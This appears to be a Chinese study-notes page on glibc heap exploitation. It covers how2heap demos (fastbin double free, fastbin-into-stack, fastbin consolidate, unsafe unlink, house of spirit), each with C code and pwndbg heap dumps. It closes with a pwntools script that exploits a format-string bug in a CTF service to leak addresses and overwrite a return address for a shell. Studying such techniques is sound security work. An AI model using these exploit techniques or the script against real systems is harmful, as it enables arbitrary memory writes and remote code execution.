    all: 0x555555559290 —▸ 0x7ffff7fb1be0 (main_arena+96) ◂— 0x555555559290
    smallbins
    empty
    largebins
    empty
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x555555559000
    Size: 0x291

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x555555559290
    Size: 0x521
    fd: 0x7ffff7fb1be0
    bk: 0x7ffff7fb1be0

    Allocated chunk
    Addr: 0x5555555597b0
    Size: 0x260

    Top chunk | PREV_INUSE
    Addr: 0x555555559a10
    Size: 0x205f1
    pwndbg> x/10gx 0x555555559290
    0x555555559290: 0x0000000000000000 0x0000000000000521
    0x5555555592a0: 0x00007ffff7fb1be0 0x00007ffff7fb1be0
    0x5555555592b0: 0x0000000000000000 0x0000000000000000
    0x5555555592c0: 0x0000000000000000 0x0000000000000000
    0x5555555592d0: 0x0000000000000000 0x0000000000000000
  3. 再次malloc后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x521

Allocated chunk | PREV_INUSE
Addr: 0x5555555597b0
Size: 0x261

Top chunk | PREV_INUSE
Addr: 0x555555559a10
Size: 0x205f1

pwndbg> bin
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000521
0x5555555592a0: 0x2073692073696874 0x00007ffff7002143
0x5555555592b0: 0x0000555555559290 0x0000555555559290
0x5555555592c0: 0x0000000000000000 0x0000000000000000
0x5555555592d0: 0x0000000000000000 0x0000000000000000

Fastbin_Dup.c DOUBLE-FREE

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = malloc(8);
b = malloc(8);
c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

assert(a == c);
}

具体分析

  1. 3次free后,出现double free

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    pwndbg> bins
    fastbins
    0x20: 0x55555555c000 —▸ 0x55555555c020 ◂— 0x55555555c000
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
  2. 3次malloc后,a和d指向同一个地址,如果d的值可控即等于往任意地址写数据

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    pwndbg> 
    bins
    fastbins 0x20: 0x55555555c020 —▸ 0x55555555c000 ◂— 0x55555555c020 0x30: 0x0 0x40: 0x0 empty
    largebins
    empty
    pwndbg> heap
    Free chunk (fastbins) | PREV_INUSE
    Addr: 0x55555555c000
    Size: 0x21
    fd: 0x55555555c020

    Free chunk (fastbins) | PREV_INUSE
    Addr: 0x55555555c020
    Size: 0x21
    fd: 0x55555555c000

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555c040
    Size: 0x21

    Top chunk | PREV_INUSE
    Addr: 0x55555555c060
    Size: 0x20fa1

    1st malloc(8): 0x55555555c010
    2nd malloc(8): 0x55555555c030
    3rd malloc(8): 0x55555555c010


    malloc(8): 0x7fffffffe008

Fastbin_Dup_Into_Stack UAF利用

具体代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

具体分析

  1. a被free两次以后

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    pwndbg> bins
    fastbins
    0x20: 0x55555555b000 —▸ 0x55555555b020 ◂— 0x55555555b000
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty

    pwndbg> x/10gx 0x55555555b020
    0x55555555b020: 0x0000000000000000 0x0000000000000021
    0x55555555b030: 0x000055555555b000 0x0000000000000000
    0x55555555b040: 0x0000000000000000 0x0000000000000021
    0x55555555b050: 0x0000000000000000 0x0000000000000000
    0x55555555b060: 0x0000000000000000 0x0000000000020fa1
    pwndbg> x/10gx 0x55555555b000
    0x55555555b000: 0x0000000000000000 0x0000000000000021
    0x55555555b010: 0x000055555555b020 0x0000000000000000
    0x55555555b020: 0x0000000000000000 0x0000000000000021
    0x55555555b030: 0x000055555555b000 0x0000000000000000
    0x55555555b040: 0x0000000000000000 0x0000000000000021
  2. 执行d = (unsigned long long) (((char)&stack_var) - sizeof(d));后因为d与a指向一个地址,因此可以篡改freechunk里面的fd

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    pwndbg> bins
    fastbins
    0x20: 0x55555555b000 —▸ 0x55555555b020 ◂— 0x55555555b000
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty

    pwndbg> x/10gx 0x55555555b000
    0x55555555b000: 0x0000000000000000 0x0000000000000021
    0x55555555b010: 0x00007fffffffdff8 0x0000000000000000
    0x55555555b020: 0x0000000000000000 0x0000000000000021
    0x55555555b030: 0x000055555555b000 0x0000000000000000
    0x55555555b040: 0x0000000000000000 0x0000000000000021
    pwndbg> x/10gx 0x55555555b020
    0x55555555b020: 0x0000000000000000 0x0000000000000021
    0x55555555b030: 0x000055555555b000 0x0000000000000000
    0x55555555b040: 0x0000000000000000 0x0000000000000021
    0x55555555b050: 0x0000000000000000 0x0000000000000000
    0x55555555b060: 0x0000000000000000 0x0000000000020fa1

Fastbin_Dup_Consolidate

todo

为什么malloc之后,large chunk被分配到了small bin中?

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

具体分析

  1. p1被free两次以后

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    pwndbg> bins
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x55555555b000 ◂— 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
  2. malloc(0x400)后,原来的fastbin被分配到了smallbin.因为0✖400属于large chunk 会调用malloc_consolidate()合并fastbins中的chunk,并将这些空闲的chunk加入unsorted bin中,之后unsorted bin中的chunk按照大小被放回small bins/large bins中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    pwndbg> bins
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    0x50: 0x55555555b000 —▸ 0x7ffff7dd4bb8 (main_arena+152) ◂— 0x55555555b000
    largebins
    empty
  3. 再次free p1 ,可以看到p1同时出现在fast bins和small bins中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    pwndbg> bins
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x55555555b000 ◂— 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    0x50 [corrupted]
    FD: 0x55555555b000 ◂— 0x0
    BK: 0x55555555b000 —▸ 0x7ffff7dd4bb8 (main_arena+152) ◂— 0x55555555b000
    largebins
    empty

    Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x55555555b010 0x55555555b010

Unsafe_Unlink

利用场景

最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

fprintf(stderr, "We create a fake chunk inside chunk0.\n");
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;

fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);

fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
fprintf(stderr, "Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}

具体分析

  1. 设置chunk0_ptr[2]和chunk0_ptr[3]后的chunk(实际情况应该是利用漏洞来覆盖,这里直接通过指针来操作)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    pwndbg> x/30gx 0x55555555b000
    0x55555555b000: 0x0000000000000000 0x0000000000000091
    0x55555555b010: 0x0000000000000000 0x0000000000000000
    0x55555555b020: 0x0000555555558018 0x0000555555558020
    0x55555555b030: 0x0000000000000000 0x0000000000000000
    0x55555555b040: 0x0000000000000000 0x0000000000000000
    0x55555555b050: 0x0000000000000000 0x0000000000000000
    0x55555555b060: 0x0000000000000000 0x0000000000000000
    0x55555555b070: 0x0000000000000000 0x0000000000000000
    0x55555555b080: 0x0000000000000000 0x0000000000000000
    0x55555555b090: 0x0000000000000000 0x0000000000000091
    0x55555555b0a0: 0x0000000000000000 0x0000000000000000
  2. chunk1_hdr[0] = malloc_size;chunk1_hdr[1] &= ~1;我们把chunk1_hdr伪造成空闲chunk,即把chunk of size的 inuse位设置成0,把size of previous chunk设置成80(90-10),程序会根据presize来寻找要合并的chunk的头部,这样在free时会让程序错误认为chunk0的开始位置为我们的伪造的chunk位置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    pwndbg> x/30gx 0x55555555b000
    0x55555555b000: 0x0000000000000000 0x0000000000000091
    0x55555555b010: 0x0000000000000000 0x0000000000000000
    0x55555555b020: 0x0000555555558018 0x0000555555558020
    0x55555555b030: 0x0000000000000000 0x0000000000000000
    0x55555555b040: 0x0000000000000000 0x0000000000000000
    0x55555555b050: 0x0000000000000000 0x0000000000000000
    0x55555555b060: 0x0000000000000000 0x0000000000000000
    0x55555555b070: 0x0000000000000000 0x0000000000000000
    0x55555555b080: 0x0000000000000000 0x0000000000000000
    0x55555555b090: 0x0000000000000080 0x0000000000000090

    pwndbg> x/10x 0x0000555555558010
    0x555555558010: 0x0000000000000000 0x0000000000000000
    0x555555558020 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd5540 0x0000000000000000
    0x555555558030 <chunk0_ptr>: 0x000055555555b010 0x00020000002c0030
    0x555555558040: 0x0000000800000000 0x0000000011c90000
    0x555555558050: 0x0000000004420000 0x0000000000000000
  3. free chunk1_ptr 时,因为在free一个非fastbin大小的chunk时,会对前后的chunk进行检测,如果前后的chunk存在被free的状态,则会进行合并。合并之前自然也需要用unlink将其从链表上取下来。因此chunk0被unlink,导致bk->fd =fd(bk=0x0000555555558020,bk->fd=bk+0x10=0x0000555555558030,fd=0x0000555555558018)所以0x0000555555558030被设置成了0x0000555555558018

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define unlink(AV, P, BK, FD) {                                            
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
}
}

pwndbg> x/10x 0x0000555555558010
0x555555558010: 0x0000000000000000 0x0000000000000000
0x555555558020 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd5540 0x0000000000000000
0x555555558030 <chunk0_ptr>: 0x0000555555558018 0x00020000002c0030
0x555555558040: 0x0000000800000000 0x0000000011c90000
0x555555558050: 0x0000000004420000 0x0000000000000000
  1. chunk0_ptr[3] = (uint64_t) victim_string;fprintf(stderr, “Original value: %s\n”,victim_string);这时候chunk0_ptr为0x555555558018,chunk0_ptr[3]为0x555555558030,经过这步操作后全局变量chunk0_ptr里面的指针有被修改为0x00007fffffffe030
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> p chunk0_ptr
$38 = (uint64_t *) 0x7fffffffe030
pwndbg> x/10x 0x0000555555558010
0x555555558010: 0x0000000000000000 0x0000000000000000
0x555555558020 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd5540 0x0000000000000000
0x555555558030 <chunk0_ptr>: 0x00007fffffffe030 0x00020000002c0030
0x555555558040: 0x0000000800000000 0x0000000011c90000
0x555555558050: 0x0000000004420000 0x0000000000000000

pwndbg> x/10s 0x00007fffffffe030
0x7fffffffe030: "Hello!~"
0x7fffffffe038: ""


Original value: Hello!~
  1. chunk0_ptr[0] = 0x4141414142424242LL;fprintf(stderr, “New Value: %s\n”,victim_string);

    1
    2
    pwndbg> x/10s 0x00007fffffffe030
    0x7fffffffe030: "BBBBAAAA"
  2. libc2.26版本。则需要把tacahe填充满才行

House_of_Spirit

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

format string

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*
#p = process('./main')
p = remote('10.10.31.156',10003)
#p = process(["/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so","./Siri"],env={"LD_PRELOAD":"/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6"})
libc = ELF('/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
p.sendlineafter('>>> ','Hey Siri!')
offset = 14
p.sendlineafter('>>> ','Remind me to ' + 'BBBBAAAAAAAAStack:%46$pLIBC:%83$pPROC:%47$pCanary:%45$p')
p.recvuntil('Stack:')
stack = int(p.recv(14),16) - 288
log.info('Stack:\t' + hex(stack))
p.recvuntil('LIBC:')
libc_base = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main']
log.info('LIBC:\t' + hex(libc_base))
p.recvuntil('PROC:')
proc_base = int(p.recv(14),16) - 0x144C
log.info('Proc:\t' + hex(proc_base))
p.recvuntil('Canary:')
canary = int(p.recv(18),16)
log.info('Canary:\t' + hex(canary))
pop_rdi_ret = proc_base + 0x0152B
leave_ret = proc_base + 0x12E2
#rce = libc_base + 0x10A45C
rce = libc_base + +0x4527a
open_sys = libc_base + libc.sym['open']
read_sys = libc_base + libc.sym['read']
puts = libc_base + libc.sym['puts']
p.sendlineafter('>>> ','Hey Siri!')
off_1 = (((stack + 0x50)&0xFFFF))
off_2 = (leave_ret&0xFFFF)
#gdb.attach(p,'b *0x5555555552A2')
if off_1 > off_2:
payload = 'Remind me to ' + '%' + str((off_2 - 27)) + 'c%55$hn' + '%' + str((off_1 - off_2)) + 'c%56$hn'
payload = payload.ljust(0x38,'\x00')
payload += p64(stack + 8) + p64(stack)
payload += p64(rce)
else:
payload = 'Remind me to ' + '%' + str((off_1 - 27)) + 'c%55$hn' + '%' + str((off_2 - off_1)) + 'c%56$hn'
payload = payload.ljust(0x38,'\x00')
payload += p64(stack) + p64(stack + 8)
payload += p64(rce)
p.sendlineafter('>>> ',payload)
p.interactive()